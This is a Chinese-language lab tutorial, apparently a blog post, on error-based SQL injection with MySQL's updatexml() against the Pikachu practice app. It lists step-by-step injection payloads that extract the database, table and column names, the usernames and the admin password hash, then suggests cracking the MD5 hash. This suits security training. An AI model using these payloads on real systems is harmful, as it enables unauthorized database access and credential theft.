实验12:基于函数报错的注入

实验12:基于函数报错的注入

常用报错函数:updatexml() ,extractvalue(),floor()
原因:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。
updatexml():是MySQL对xml文档数据进行查询和修改的xpath函数
extract value():是MySQL对xml文档进行查询的函数
floor():MySQL进行取整的函数

而本章主要介绍updatexml()函数

1、语法格式:
updatexml(xml-document,XPathstring,new-value)
第一个参数:fiedname是string格式,为表中字段名
第二个参数:XPathstring(xpath格式字符串)
第三个参数:new-value,string格式,替换查找到的符合条件的
【注:Xpath定位必须有效,否则会出错!!!】
在MySQL语法中:
concate:把传进去的两个参数组合成字符串打印出来
0x7e:表示符号“~”的十六进制,避免信息被“吃掉”
我们以Pikachu为例,打开字符型注入,我们先输入一个“引号“测试一下,发现确实将报错显示到前端
在这里插入图片描述
这样,我们就可以利用函数报错的方法获取我们想要的信息
首先随意输入一段用户名:hello,后面再加上updatexml函数
例:hello’ and updatexml(1,concate(0x7e,database()),0)#
【注:”and“前后一定要有空格!!!】
【注:”database“译为数据库】
可以得到数据库名
在这里插入图片描述
然后,我们可以利用已知的数据库名称”Pikachu“,获取表名:
例:hello’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema =‘pikachu’)),0)#(若报错显示多于一行,则可在’pikachu’后加limit 0,1)
如:hello’ and updatexml(1,concat (0x7e,(select table_name from information_schema.tables where table_schema =‘pikachu’ limit 0,1)),0)#
在这里插入图片描述
而“limit 0,1”表示的是第一个表名,limit 1,1为第二个表名,limit 2,1为第三个表名…以此类推。。。。。。
获取字段名:在已知其表名的基础上,获取字段名
例:hello’ and updatexml(1,concat (0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1)),0)#
在这里插入图片描述
获取用户名:在已知字段名后,可获取。
例:hello’ and updatexml(1,concat (0x7e,(select username from users limit 0,1)),0)#
在这里插入图片描述
获取密码:在获取用户名后可获取
例:hello’ and updatexml(1,concat (0x7e,(select password from users where username=‘admin’ limit 0,1)),0)#
在这里插入图片描述
得到的是密码经过md5处理后的密文,可利用md5工具进行破解

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值